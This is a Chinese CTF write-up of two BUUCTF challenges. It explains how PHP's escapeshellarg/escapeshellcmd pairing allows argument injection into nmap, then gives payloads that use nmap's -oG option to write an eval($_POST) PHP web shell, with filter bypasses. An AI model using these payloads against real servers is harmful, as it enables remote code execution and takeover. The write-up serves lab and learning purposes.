关于buu上的namp两道题
[BUUCTF 2018]Online Tool

这个是题目的源码
源码中只要用到了escapeshellarg()函数和escapeshellcmd()函数,经过搜索这两个函数我们来了解这两个函数:
看这些概念没看太懂,那么我们来实际测试一下,更容易理解些

经过 escapeshellarg 函数处理过的参数被拼凑成 shell 命令,并且被双引号包裹这样就会造成漏洞,这主要在于bash中双引号和单引号解析变量是有区别的。
在解析单引号的时候 , 被单引号包裹的内容中如果有变量 , 这个变量名是不会被解析成值的,但是双引号不同 , bash 会将变量名解析成变量的值再使用。
escapeshellcmd — shell 元字符转义


那么 escapeshellcmd 和 escapeshellarg 一起使用的时候会发生什么问题呢,我们继续看看,这两个函数都会对单引号进行处理,但还是有区别的,区别如下:

对于单个单引号, escapeshellarg 函数转义后,还会在左右各加一个单引号,但 escapeshellcmd 函数是直接加一个转义符,对于成对的单引号, escapeshellcmd 函数默认不转义,但 escapeshellarg 函数转义:
escapeshellcmd() 和 escapeshellarg() 一起出现会有什么问题呢,我们举个简单例子如下:

首先我们分析一下这个过程
1.传入的参数是:127.0.0.1' -v -d a=1
2.经过escapeshellarg处理后变成了'127.0.0.1'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
3.经过escapeshellcmd处理后变成'127.0.0.1'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义
4.最后执行的命令是curl '127.0.0.1'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对成了一个空白连接符。所以可以简化为curl 127.0.0.1\ -v -d a=1',即向127.0.0.1\发起请求,POST 数据为a=1'
但是如果是先用 escapeshellcmd 函数过滤,再用的 escapeshellarg 函数过滤,则没有这个问题。
分析接下来的源代码:

对ip进行加密,然后创建目录,输出system执行nmap命令后的结果
通过查资料得知nmap 中的-oG参数可以将命令和结果写入文件
一般flag都在根目录下,直接使用反引号进行命令执行
构造payload:?host=' -oG 1.php '


[网鼎杯 2020 朱雀组]Nmap

这道题只要考察的是namp选项的使用,
输出选项
-oN(标准输出)
将结果输入制定文件
-oX(XML输出)
将XML输出写入指定文件
-oS(ScRipT KIdd|3 oUTpuT)
脚本小子输出类似于交互工具输出,这是一个事后处理,适合于 'l33t HaXXorZ, 由于原来全都是大写的Nmap输出。
-oG(Grep输出)
XML输格式很强大,便于有经验 的用户使用。XML是一种标准,由许多解析器构成,而Grep输届更简化。XML是可扩展的,以支持新发布的Nmap特点。使用Grep输出的目的是忽略这些 特点,因为没有足够的空间。然而,Grep输出仍然很常使用。它是一种简单格式,每行一个主机,可以 通过UNIX工具(如grep、awk、cut、sed、diff)和Perl方便地查找和分解。常可 用于在命令行上进行一次性测式。
-oA(输出至所有格式)
为使用方便,利用-oA选项 可将扫描结果以标准格式、XML格式和Grep格式一次性输出。分别存放在.nmap,.xml和.gnmap文件中。也可以在文件名前 指定目录名,如在UNIX中,使用~/nmaplogs/foocorp/, 在Window中,使用c:\hacking\sco on Windows。
这是源码的基本构造:
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
我们可以通过这种思路,拼接单引号,达到控制参数的目的,从而将我们构造的shell写入文件中
这里用 -OG输出
payload
' -oG hack.php '

结果提示Hacker猜测应该是php被过滤了。里使用“=”绕过文件中的php字符,使用“phtml”绕过对“php”文件后缀的检测,再次输入
payload:
' = @eval($_POST["pd"]);?> -oG pd.phtml '

shell写入以后访问 
发现一句话马写入成功可以 ,查看flag

本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!
